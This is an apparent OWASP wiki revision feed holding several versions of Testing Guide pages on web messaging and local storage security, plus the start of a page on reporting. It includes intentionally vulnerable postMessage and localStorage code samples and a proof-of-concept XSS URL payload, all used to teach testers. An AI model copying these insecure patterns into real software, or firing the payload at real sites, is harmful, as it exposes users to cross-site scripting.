From a security perspective we should check whether the code is filtering and processing messages from trusted domains only, normally the best way to accomplish this is using a whitelist. Also within the sending domain, we also want to make sure they are explicitly stating the receiving domain and not '*' as the second argument of postMessage() as this practice could introduce security concerns too, and could lead to, in the case of a redirection or if the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the case the website fails to add security controls to restrict the domains or origins that are allowed to send messages to a website, it is most likely that a security risk will be introduced. This makes it a very interesting part of the code from a penetration testing point of view. We should scan the code for message event listeners and get the callback function from the addEventListener method to further analyse, as domains must always be verified prior to data manipulation.&lt;br /&gt;
&lt;br /&gt;
=== event.data Input Validation ===&lt;br /&gt;
&lt;br /&gt;
Input validation is also important, even though the website is accepting messages from trusted domains only, it needs to treat the data as external untrusted data and apply  the same level of security controls to it. We should analyze the code and look for insecure methods, in particular if data is being evaluated via &amp;lt;pre&amp;gt;eval()&amp;lt;/pre&amp;gt; or inserted into the DOM via the &amp;lt;pre&amp;gt;innerHTML&amp;lt;/pre&amp;gt; property as that would create a DOM-based XSS vulnerability.&lt;br /&gt;
&lt;br /&gt;
==How to Test==&lt;br /&gt;
=== Black Box testing ===&lt;br /&gt;
Black box testing for vulnerabilities on Web Messaging is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Gray Box testing === &lt;br /&gt;
&lt;br /&gt;
Manual testing needs to be conducted and the JavaScript code analyzed looking for how Web Messaging is implemented. In particular we should be interested in how the website is restricting messages from untrusted domain and how the data is handled even for trusted domains. Below are some examples:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vulnerable code example:&lt;br /&gt;
&lt;br /&gt;
In this example, access is needed for every subdomain (www, chat, forums, ...) within the owasp.org domain. The code is trying to accept any domain ending on .owasp.org:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     &amp;lt;/b&amp;gt;if(e.origin.indexOf(&amp;quot;.owasp.org&amp;quot;)!=-1) {&amp;lt;b&amp;gt;&lt;br /&gt;
          /* process message (e.data) */&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The intention is to allow subdomains in this form:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
www.owasp.org&lt;br /&gt;
chat.owasp.org&lt;br /&gt;
forums.owasp.org&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Insecure code. An attacker can easily bypass the filter as www.owasp.org.attacker.com will match.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example of lack of origin check, very insecure as will accept input from any domain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     /* process message (e.data) */&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Input validation example: Lack of security controls lead to Cross-Site Scripting (XSS)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     if(e.origin === &amp;quot;trusted.domain.com&amp;quot;) {&lt;br /&gt;
          element.innerHTML= e.data;&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This code will lead to Cross-Site Scripting (XSS) vulnerabilities as data is not being treated properly, a more secure approach would be to use the property textContent instead of innerHTML.&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
*'''OWASP HTML5 Security Cheat Sheet''': https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
*'''Web Messaging Specification''': http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html&lt;/div&gt;</summary>
		<author><name>Nvhaver</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=186316</id>
		<title>Test Web Messaging (OTG-CLIENT-011)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=186316"/>
				<updated>2014-12-01T19:17:07Z</updated>
		
		<summary type="html">&lt;p&gt;Nvhaver: /* Origin Security Concept */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
Web Messaging (also known as Cross Document Messaging) allows applications running on different domains to communicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy and enforced by the browser, however developers used multiple hacks in order to accomplish these tasks, most of them were mainly insecure.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This restriction within the browser is in place to restrict a malicious website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites need to exchange data between each other. To meet this need Cross Document Messaging was introduced within he WHATWG HTML5 draft specification and implemented in all major browsers. It enables secure communication between multiple origins across iframes, tabs and windows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The Messaging API introduced the postMessage() method, with which plain-text messages can be sent cross-origin. It consists of two parameters, message and domain.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are some security concerns when using '*' as the domain that we discuss below. Then, in order to receive messages the receiving website needs to add a new event handler, and has the following attributes:&lt;br /&gt;
*data: The content of the incoming message&amp;lt;br&amp;gt;&lt;br /&gt;
*origin: The origin of the sender document&amp;lt;br&amp;gt;&lt;br /&gt;
*source: source window&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
An example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Send message:&lt;br /&gt;
&lt;br /&gt;
iframe1.contentWindow.postMessage(“Hello world”,”http://www.example.com”);&lt;br /&gt;
&lt;br /&gt;
Receive message:&lt;br /&gt;
&lt;br /&gt;
window.addEventListener(“message”, handler, true);&lt;br /&gt;
function handler(event) {&lt;br /&gt;
if(event.origin === 'chat.example.com') {&lt;br /&gt;
     /* process message (event.data) */&lt;br /&gt;
} else {&lt;br /&gt;
    /* ignore messages from untrusted domains */&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Origin Security Concept ===&lt;br /&gt;
The origin is made up of a scheme, host name and port and identifies uniquely the domain sending or receiving the message, it does not include the path or the fragment part of the url. For instance, https://example.com/ will be considered different from http://example.com because the schema in the first case is https and in the second http, same applies to web servers running in the same domain but different port.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From a security perspective we should check whether the code is filtering and processing messages from trusted domains only, normally the best way to accomplish this is using a whitelist. Also within the sending domain, we also want to make sure they are explicitly stating the receiving domain and not '*' as the second argument of postMessage() as this practice could introduce security concerns too, and could lead to, in the case of a redirection or if the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the case the website fails to add security controls to restrict the domains or origins that are allowed to send messages to a website, it is most likely that a security risk will be introduced. This makes it a very interesting part of the code from a penetration testing point of view. We should scan the code for message event listeners and get the callback function from the addEventListener method to further analyse, as domains must always be verified prior to data manipulation.&lt;br /&gt;
&lt;br /&gt;
=== event.data Input Validation ===&lt;br /&gt;
&lt;br /&gt;
Input validation is also important, even though the website is accepting messages from trusted domains only, it needs to treat the data as external untrusted data and apply  the same level of security controls to it. We should analyze the code and look for insecure methods, in particular if data is being evaluated via &amp;lt;pre&amp;gt;eval()&amp;lt;/pre&amp;gt; or inserted into the DOM via the &amp;lt;pre&amp;gt;innerHTML&amp;lt;/pre&amp;gt; property as that would create a DOM-based XSS vulnerability.&lt;br /&gt;
 &lt;br /&gt;
==How to Test==&lt;br /&gt;
=== Black Box testing ===&lt;br /&gt;
Black box testing for vulnerabilities on Web Messaging is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Gray Box testing === &lt;br /&gt;
&lt;br /&gt;
Manual testing needs to be conducted and the JavaScript code analyzed looking for how Web Messaging is implemented. In particular we should be interested in how the website is restricting messages from untrusted domain and how the data is handled even for trusted domains. Below are some examples:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vulnerable code example:&lt;br /&gt;
&lt;br /&gt;
In this example, access is needed for every subdomain (www, chat, forums, ...) within the owasp.org domain. The code is trying to accept any domain ending on .owasp.org:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     &amp;lt;/b&amp;gt;if(e.origin.indexOf(&amp;quot;.owasp.org&amp;quot;)!=-1) {&amp;lt;b&amp;gt;&lt;br /&gt;
          /* process message (e.data) */&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The intention is to allow subdomains in this form:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
www.owasp.org&lt;br /&gt;
chat.owasp.org&lt;br /&gt;
forums.owasp.org&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Insecure code. An attacker can easily bypass the filter as www.owasp.org.attacker.com will match.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example of lack of origin check, very insecure as will accept input from any domain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     /* process message (e.data) */&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Input validation example: Lack of security controls lead to Cross-Site Scripting (XSS)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     if(e.origin === &amp;quot;trusted.domain.com&amp;quot;) {&lt;br /&gt;
          element.innerHTML= e.data;&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This code will lead to Cross-Site Scripting (XSS) vulnerabilities as data is not being treated properly, a more secure approach would be to use the property textContent instead of innerHTML.&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
*'''OWASP HTML5 Security Cheat Sheet''': https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
*'''Web Messaging Specification''': http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html&lt;/div&gt;</summary>
		<author><name>Nvhaver</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=186315</id>
		<title>Test Web Messaging (OTG-CLIENT-011)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=186315"/>
				<updated>2014-12-01T19:10:09Z</updated>
		
		<summary type="html">&lt;p&gt;Nvhaver: /* Gray Box testing */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
Web Messaging (also known as Cross Document Messaging) allows applications running on different domains to communicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy and enforced by the browser, however developers used multiple hacks in order to accomplish these tasks, most of them were mainly insecure.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This restriction within the browser is in place to restrict a malicious website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites need to exchange data between each other. To meet this need Cross Document Messaging was introduced within he WHATWG HTML5 draft specification and implemented in all major browsers. It enables secure communication between multiple origins across iframes, tabs and windows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The Messaging API introduced the postMessage() method, with which plain-text messages can be sent cross-origin. It consists of two parameters, message and domain.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are some security concerns when using '*' as the domain that we discuss below. Then, in order to receive messages the receiving website needs to add a new event handler, and has the following attributes:&lt;br /&gt;
*data: The content of the incoming message&amp;lt;br&amp;gt;&lt;br /&gt;
*origin: The origin of the sender document&amp;lt;br&amp;gt;&lt;br /&gt;
*source: source window&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
An example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Send message:&lt;br /&gt;
&lt;br /&gt;
iframe1.contentWindow.postMessage(“Hello world”,”http://www.example.com”);&lt;br /&gt;
&lt;br /&gt;
Receive message:&lt;br /&gt;
&lt;br /&gt;
window.addEventListener(“message”, handler, true);&lt;br /&gt;
function handler(event) {&lt;br /&gt;
if(event.origin === 'chat.example.com') {&lt;br /&gt;
     /* process message (event.data) */&lt;br /&gt;
} else {&lt;br /&gt;
    /* ignore messages from untrusted domains */&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Origin Security Concept ===&lt;br /&gt;
The origin is made up of a scheme, host name and port and identifies uniquely the domain sending or receiving the message, it does not include the path or the fragment part of the url. For instance, https://example.com/ will be considered different from http://example.com because the schema in the first case is https and in the second http, same applies to web servers running in the same domain but different port.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From a security perspective we should check whether the code is filtering and processing messages from trusted domains only, normally the best way to accomplish this is using a whitelist. Also within the sending domain, we also want to make sure they are explicitly stating the receiving domain and not '*' as the second argument of postMessage() as this practice could introduce security concerns too, and could lead to, in the case of a redirection or if the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the case the website failed to add security controls to restrict the domains or origins that can send messages to a website most likely will introduce a security risk so it is very interesting part of the code from a penetration testing point of view. We should scan the code for message event listeners, and get the callback function from the addEventListener method to further analysis as domains must be always be verified prior data manipulation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== event.data Input Validation ===&lt;br /&gt;
&lt;br /&gt;
Input validation is also important, even though the website is accepting messages from trusted domains only, it needs to treat the data as external untrusted data and apply  the same level of security controls to it. We should analyze the code and look for insecure methods, in particular if data is being evaluated via &amp;lt;pre&amp;gt;eval()&amp;lt;/pre&amp;gt; or inserted into the DOM via the &amp;lt;pre&amp;gt;innerHTML&amp;lt;/pre&amp;gt; property as that would create a DOM-based XSS vulnerability.&lt;br /&gt;
 &lt;br /&gt;
==How to Test==&lt;br /&gt;
=== Black Box testing ===&lt;br /&gt;
Black box testing for vulnerabilities on Web Messaging is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Gray Box testing === &lt;br /&gt;
&lt;br /&gt;
Manual testing needs to be conducted and the JavaScript code analyzed looking for how Web Messaging is implemented. In particular we should be interested in how the website is restricting messages from untrusted domain and how the data is handled even for trusted domains. Below are some examples:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vulnerable code example:&lt;br /&gt;
&lt;br /&gt;
In this example, access is needed for every subdomain (www, chat, forums, ...) within the owasp.org domain. The code is trying to accept any domain ending on .owasp.org:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     &amp;lt;/b&amp;gt;if(e.origin.indexOf(&amp;quot;.owasp.org&amp;quot;)!=-1) {&amp;lt;b&amp;gt;&lt;br /&gt;
          /* process message (e.data) */&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The intention is to allow subdomains in this form:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
www.owasp.org&lt;br /&gt;
chat.owasp.org&lt;br /&gt;
forums.owasp.org&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Insecure code. An attacker can easily bypass the filter as www.owasp.org.attacker.com will match.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example of lack of origin check, very insecure as will accept input from any domain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     /* process message (e.data) */&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Input validation example: Lack of security controls lead to Cross-Site Scripting (XSS)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     if(e.origin === &amp;quot;trusted.domain.com&amp;quot;) {&lt;br /&gt;
          element.innerHTML= e.data;&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This code will lead to Cross-Site Scripting (XSS) vulnerabilities as data is not being treated properly, a more secure approach would be to use the property textContent instead of innerHTML.&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
*'''OWASP HTML5 Security Cheat Sheet''': https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
*'''Web Messaging Specification''': http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html&lt;/div&gt;</summary>
		<author><name>Nvhaver</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Local_Storage_(OTG-CLIENT-012)&amp;diff=186314</id>
		<title>Test Local Storage (OTG-CLIENT-012)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Local_Storage_(OTG-CLIENT-012)&amp;diff=186314"/>
				<updated>2014-12-01T19:08:58Z</updated>
		
		<summary type="html">&lt;p&gt;Nvhaver: /*Test Local Storage*/&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary == &lt;br /&gt;
&lt;br /&gt;
Local Storage also known as Web Storage or Offline Storage is a mechanism to store data as key/value pairs tied to a domain and enforced by the same origin policy (SOP). There are two objects, localStorage that is persistent and is intended to survive browser/system reboots and sessionStorage that is temporary and will only exists until the window or tab is closed. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On average browsers allow to store in this storage around 5MB per domain, that compared to the 4KB of cookies is a big difference, but the key difference from the security perspective is that the data stored in these two objects is kept in the client and never sent to the server, this also improves network performance as data do not need to travel over the wire back and forth.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== localStorage ===&lt;br /&gt;
&lt;br /&gt;
Access to the storage is normally done using the setItem and getItem functions. The storage can be read from javascript which means with a single XSS an attacker would be able to extract all the data from the storage. Also malicious data can be loaded into the storage via JavaScript so the application needs to have the controls in place to treat untrusted data. Check if there are more than one application in the same domain like example.foo/app1 and example.foo/app2 because those will share the  same  storage.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Data stored in this object will persist after the window is closed, it is a bad idea to store sensitive data or session identifiers on this object as these can be accesed via JavaScript. Session IDs stored in cookies can mitigate this risk using the httpOnly flag.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== sessionStorage ===&lt;br /&gt;
&lt;br /&gt;
The main difference with localStorage is that the data stored in this object is only accessible until the tab/window is closed, which makes localStorage a perfect candidate for data that doesn't need to be persisted between sessions. It shares most of the properties and the getItem/setItem methods, so manual testing needs to be undertaken to look for these methods and identify in which parts of the code the storage is accessed.&lt;br /&gt;
&lt;br /&gt;
==How to Test==&lt;br /&gt;
=== Black Box testing ===&lt;br /&gt;
Black box testing for issues within the Local Storage code is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Gray Box testing ===&lt;br /&gt;
&lt;br /&gt;
First of all, we need to check whether the Local Storage is used.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example 1: Access to localStorage:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Access to every element in localStorage with JavaScript:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
for(var i=0; i&amp;lt;localStorage.length; i++) {                                               &lt;br /&gt;
        console.log(localStorage.key(i), &amp;quot; = &amp;quot;, localStorage.getItem(localStorage.key(i)));&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
same code can be applied to sessionStorage&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using Google Chrome, click on menu -&amp;gt; Tools -&amp;gt; Developer Tools. Then under Resources you will see 'Local Storage' and 'Web Storage'.&lt;br /&gt;
&lt;br /&gt;
[[File:storage-chrome.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using Firefox with the Firebug add on you can easily inspect the localStorage/sessionStorage object in the DOM tab.&lt;br /&gt;
&lt;br /&gt;
[[File:storage-firefox.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Also, we can inspect these objects from the developer tools of our browser.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Next manual testing needs to be conducted in order to determine whether the website is storing sensitive data in the storage that represents a risk and will increase dramatically the impact of an information leak. Also check the code handling the Storage to determine if it is vulnerable to injection attacks, common issue when the code does not escape the input or output. The JavaScript code has to be analyzed to evaluate these issues, so make sure you crawl the application to discover every instance of JavaScript code and note sometimes applications use third-party libraries that would need to be examined too.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Here is an example of how improper use of user input and lack of validation can lead to XSS attacks.&lt;br /&gt;
&lt;br /&gt;
'''Example 2: XSS in localStorage:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Insecure assignment from localStorage can lead to XSS&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function action(){&lt;br /&gt;
&lt;br /&gt;
var resource = location.hash.substring(1);&lt;br /&gt;
&lt;br /&gt;
localStorage.setItem(&amp;quot;item&amp;quot;,resource);&lt;br /&gt;
&lt;br /&gt;
item = localStorage.getItem(&amp;quot;item&amp;quot;);&lt;br /&gt;
document.getElementById(&amp;quot;div1&amp;quot;).innerHTML=item;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;body onload=&amp;quot;action()&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;div1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
URL PoC:&lt;br /&gt;
&lt;br /&gt;
 http://server/StoragePOC.html#&amp;lt;img src=x onerror=alert(1)&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Storage-xss.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Tools== &lt;br /&gt;
* '''Firebug''' -  http://getfirebug.com/&lt;br /&gt;
* '''Google Chrome Developer Tools''' - https://developers.google.com/chrome-developer-tools/&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
*'''OWASP HTML5 Security Cheat Sheet''': https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
*'''Web Storage Specification''': http://www.w3.org/TR/webstorage/&lt;/div&gt;</summary>
		<author><name>Nvhaver</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Reporting&amp;diff=186313</id>
		<title>Reporting</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Reporting&amp;diff=186313"/>
				<updated>2014-12-01T19:04:01Z</updated>
		
		<summary type="html">&lt;p&gt;Nvhaver: /*Reporting*/&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
Performing the technical side of the assessment is only half of the overall assessment process. The final product is the production of a well written and informative report. A report should be easy to understand and should highlight all the risks found during the assessment phase. The report should appeal to both executive management and technical staff. &lt;br /&gt;
&lt;br /&gt;
The report needs to have three major sections. It should be created in a manner that allows each separate section to be printed and given to the appropriate teams, such as the developers or system managers. The recommended sections are outlined below.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''1. Executive Summary'''&lt;br /&gt;
&lt;br /&gt;
The executive summary sums up the overall findings of the assessment and gives business managers and system owners a high level view of the vulnerabilities discovered. The language used should be more suited to people who are not technically aware and should include graphs or other charts which show the risk level. Keep in mind that executives will likely only have time to read this summary and will want two questions answered in plain language: 1) ''What's wrong?'' 2) ''How do I fix it?'' You have one page to answer these questions.&lt;br /&gt;
&lt;br /&gt;
The executive summary should plainly state that the vulnerabilities and their severity is an '''input''' to their organizational risk management process, not an outcome or remediation. It is safest to explain that tester does not understand the threats faced by the organization or business consequences if the vulnerabilities are exploited. This is the job of the risk professional who calculates risk levels based on this and other information. Risk management will typically be part of the organization's IT Security Governance, Risk and Compliance (GRC) regime and this report will simply provide an input to that process.&lt;br /&gt;
&lt;br /&gt;
'''2. Test Parameters'''&lt;br /&gt;
&lt;br /&gt;
The Introduction should outline the parameters of the security testing, the findings and remediation. Some suggested section headings include:&lt;br /&gt;
&lt;br /&gt;
2.1  Project Objective:&lt;br /&gt;
This section outlines the project objectives and the expected outcome of the assessment.&lt;br /&gt;
&lt;br /&gt;
2.2 Project Scope: &lt;br /&gt;
This section outlines the agreed scope.&lt;br /&gt;
&lt;br /&gt;
2.3 Project Schedule:&lt;br /&gt;
